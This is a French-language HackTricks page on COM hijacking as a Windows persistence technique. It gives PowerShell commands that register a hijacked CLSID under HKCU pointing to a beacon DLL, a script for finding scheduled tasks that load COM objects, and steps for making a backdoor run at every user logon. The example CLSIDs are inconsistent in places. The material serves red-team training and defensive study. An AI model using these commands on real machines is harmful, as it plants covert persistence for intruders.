COM Hijacking

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Recherche de composants COM inexistants

Comme les valeurs de HKCU peuvent ĂȘtre modifiĂ©es par les utilisateurs, COM Hijacking pourrait ĂȘtre utilisĂ© comme un mĂ©canisme persistant. En utilisant procmon, il est facile de trouver des enregistrements COM recherchĂ©s qui n'existent pas et qu'un attaquant pourrait crĂ©er pour persister. Filtres :

  • OpĂ©rations RegOpenKey.
  • oĂč le RĂ©sultat est NOM NON TROUVÉ.
  • et le Chemin se termine par InprocServer32.

Une fois que vous avez dĂ©cidĂ© quel COM inexistant imiter, exĂ©cutez les commandes suivantes. Soyez prudent si vous dĂ©cidez d'imiter un COM qui est chargĂ© toutes les quelques secondes, car cela pourrait ĂȘtre excessif.

bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Composants COM du Planificateur de tùches détournables

Les tĂąches Windows utilisent des dĂ©clencheurs personnalisĂ©s pour appeler des objets COM et, comme elles sont exĂ©cutĂ©es via le Planificateur de tĂąches, il est plus facile de prĂ©dire quand elles vont ĂȘtre dĂ©clenchĂ©es.

# Afficher les CLSIDs COM
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Nom de la tĂąche : " $Task.TaskName
Write-Host "Chemin de la tĂąche : " $Task.TaskPath
Write-Host "CLSID : " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Sortie d'exemple :
# Nom de la tĂąche :  Exemple
# Chemin de la tĂąche :  \Microsoft\Windows\Example\
# CLSID :  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [plus comme le précédent...]

En vĂ©rifiant la sortie, vous pouvez en sĂ©lectionner une qui va ĂȘtre exĂ©cutĂ©e Ă  chaque fois qu'un utilisateur se connecte, par exemple.

Maintenant, en recherchant le CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} dans HKEY\CLASSES\ROOT\CLSID et dans HKLM et HKCU, vous constaterez généralement que la valeur n'existe pas dans HKCU.

bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Ensuite, vous pouvez simplement créer l'entrée HKCU et chaque fois que l'utilisateur se connecte, votre porte dérobée sera activée.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks